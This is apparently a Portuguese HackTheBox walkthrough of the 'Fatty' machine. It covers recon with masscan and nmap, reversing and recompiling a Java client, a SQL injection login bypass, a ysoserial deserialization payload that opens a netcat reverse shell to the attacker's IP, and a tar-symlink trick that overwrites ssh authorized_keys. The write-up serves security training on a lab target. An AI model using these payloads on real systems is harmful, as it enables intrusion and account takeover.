HackTheBox. Passo a passo Fatty. Reverta e recompile um aplicativo cliente-servidor. Desserialização Java



Continuo publicando soluções enviadas para finalização de máquinas da plataforma HackTheBox .



Neste artigo, vamos reverter dois aplicativos Java, ao modificar e recompilar o cliente, para explorar a injeção de SQL durante a autorização e executar comandos no servidor devido a uma vulnerabilidade na desserialização de um objeto Java.



A conexão com o laboratório é via VPN. É recomendável não se conectar de um computador de trabalho ou de um host onde haja dados importantes para você, pois você se encontra em uma rede privada com pessoas que sabem alguma coisa sobre segurança da informação.



Informação organizacional
, , Telegram . , , .



. , - , .



Recon



Esta máquina tem um endereço IP de 10.10.10.174, que adicionei a / etc / hosts.



10.10.10.174 	fatty.htb


A primeira etapa é verificar as portas abertas. Uma vez que leva muito tempo para escanear todas as portas com nmap, primeiro farei isso usando masscan. Verificamos todas as portas TCP e UDP da interface tun0 a 500 pacotes por segundo.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.174       --rate=500




Agora, para obter informações mais detalhadas sobre os serviços executados nas portas, execute uma varredura com a opção -A.



nmap -A fatty.htb -p21,22,1337,1338,1339




A partir da varredura do nmap, vemos que um login de ftp anônimo é possível, embora contenha várias notas e um arquivo jar. Baixamos tudo o que está lá.



wget ftp://fatty.htb/*






A primeira nota informa que o servidor está sendo executado nas portas 1337, 1338 e 1339 e que a porta 8000 ainda está no cliente e precisa ser corrigida.







O segundo post fala sobre o layout estático dos elementos no formulário do cliente e também que o cliente trabalha com Java 8.





A terceira nota diz que existem problemas de segurança e credenciais fornecidas.







Vamos iniciar o cliente.



/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar fatty-client.jar




Vamos descompilar o cliente. Estou usando o Intellij IDEA, então instalei a extensão do descompilador java para ele. Apenas descompacte o arquivo jar e especifique o diretório como o diretório do projeto. No arquivo beans.xml, encontramos os parâmetros de conexão.





Vamos jogar a porta 8000 local para a 1337 remota.



simpleproxy -L 8000 -R fatty.htb:1337


Nesse caso, faremos uma entrada em / etc / hosts.



127.0.0.1       server.fatty.htb


Dessa forma, todo o tráfego do cliente será redirecionado para o host remoto. Começamos e entramos.







Vamos dar uma olhada no aplicativo. De tudo isso, você deve parar na função de obter uma lista de arquivos e ler arquivos.











Mas quando tentamos ler mais alguns arquivos, obtemos erros.







A única questão é onde está o filtro. Antecipando a necessidade de corrigir o código, descompile o aplicativo em jd-gui e salve.







Após descompactar, abra a pasta como um projeto no Intellij IDEA.



Java Recompilar



Vamos recompilar o aplicativo (este método também funciona para aplicativos ofuscados). Agora vamos passar pela configuração do ambiente. Vá para Arquivo-> Estrutura do Projeto e Configurações do Projeto, defina as seguintes configurações: Versão do SDK - java8 e o diretório onde os arquivos compilados serão salvos.





Em seguida, vá para Módulos do Projeto e em Códigos-fonte selecione os diretórios de nosso interesse, que contêm o código principal.





E em Dependências, adicione o próprio arquivo jar do aplicativo.





Como você pode ver, aquele desapareceu ao lado do item Problemas. Ir em frente. Adicionar aplicativo para executar / depurar configurações.







E indicaremos a classe Starter como a classe Principal, já que o programa começa a partir dela.







Tudo está pronto. Agora vá para a classe Invoke e defina um ponto de interrupção na função de listagem de arquivos para alterar o diretório.





Agora começamos a depuração e paramos neste ponto.





E mude o valor da variável da pasta.









E funcionou. Vemos uma lista de arquivos. Vamos descobrir o que há no arquivo start.sh. Para fazer isso, encontraremos a função de leitura do arquivo e definiremos um ponto de interrupção nele.





Vamos abrir este arquivo no apêndice e parar por aqui.





E mude o valor da variável foldername.









E lemos este arquivo com sucesso.





Portanto, este aplicativo é executado em nome do usuário do sistema qtc. Para obter o aplicativo, você precisa alterar o código. Vamos adicionar uma função para escrever em um arquivo, obter a resposta em bytes, codificá-la em base64 e passar esta string para esta função.





Vamos solicitar um arquivo através do aplicativo, parar em um breakpoint e mudar o caminho.





E o arquivo foi salvo com sucesso.





cat srv.b64 | base64 -d > fatty-server.jar


Servidor pwning



Abra o aplicativo do servidor em jd-gui. Depois de examinar o código um pouco, coletamos informações muito úteis. Por exemplo, dados de conexão do banco de dados.





E também um pedido ao banco de dados durante a autorização.





Assim, é criado um usuário para a aplicação, com base nos dados que serão retornados do banco de dados.







Assim, podemos fazer tal pedido para que seja criado o qtc que conhecemos, mas já com direitos de administrador. Sabemos seu nome de usuário e senha, mas o hash precisará ser retornado do banco de dados. Vamos calcular:





Precisamos executar uma consulta como esta:



SELECT id, username, email, password, role FROM users WHERE username='qwerty' union select 123,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin'


Para fazer isso, ao depurar o aplicativo, vamos parar na função de login.





E mude o nome de usuário da variável.



qwerty' union select 123,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin










Após a autorização bem-sucedida, veremos nossos direitos, trabalhamos como administrador.







Para não alterar mais nada durante a depuração, mas para obter acesso administrativo constantemente, mesmo com campos vazios, alteraremos a função de login.







Agora que descobrimos como aumentar nossos direitos, vamos dar uma olhada nas novas funções disponíveis e decidir sobre o vetor de ataque posterior. E no código do servidor, nos apegamos ao uso de serialização na função de alteração de senha.







Vamos encontrar esse recurso no aplicativo cliente.







Portanto, o objeto User é serializado, codificado em base64 e passado para o servidor, onde é decodificado e desserializado. Como o nome da função está esmaecido, ela não é usada em lugar nenhum. Você pode verificar isso tentando alterar a senha.







Vamos colocar um ponto de interrupção dentro da função de alteração de senha, antes de adicionar o objeto serializado como um argumento.







Vamos encontrar o código que é executado quando você clica no botão Alterar.







Vamos adicionar a chamada de função.







Você pode usar ysoserial para explorar uma vulnerabilidade na desserialização de dados . Primeiro, vamos definir um módulo.

grep -R Invoke .






Assim, usaremos CommonsCollections.

/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 'nc 10.10.15.60 4321 -e /bin/sh' | base64 -w0


E inseriremos a carga recebida no código alterado da função de alteração de senha.







Depois de executar o aplicativo, obtemos um backconnect.







RAIZ



Carregue um dos scripts de enumeração do sistema, por exemplo grãos de linha. Não encontramos nada de interessante, exceto que estamos em um contêiner docker.







Como não encontramos nada estático, vamos iniciar o pspy e rastrear os processos em execução. Mas depois de esperar um pouco, nada de interessante aconteceu. Em seguida, iniciei o processo iniciando o aplicativo cliente e fechando-o. Após fechar o aplicativo, o comando scp foi executado.







Assim, o arquivo com os logs é copiado. Posso supor que também está descompactado. Vamos registrar juntos, fazer upload, criar e empacotar um link para um arquivo com chaves ssh.







Vamos verificar o arquivo.







Excelente. Agora vamos abrir o aplicativo, logar, alterar os logs e fechar o aplicativo.

mv my.tar /opt/fatty/tar/logs.tar


Agora, se você repetir algo assim, o conteúdo do arquivo será gravado em authorized_keys. Portanto, geramos um par de chaves usando ssh-keygen, refazemos o truque com o aplicativo e escrevemos um público em vez de um arquivo.







Agora podemos nos conectar via SSH com uma chave privada.







Você pode se juntar a nós no Telegram . Lá você pode encontrar materiais interessantes, cursos que vazaram e software. Vamos reunir uma comunidade, na qual haverá pessoas versadas em várias áreas de TI, para que possamos sempre ajudar uns aos outros em quaisquer questões de TI e segurança da informação.



All Articles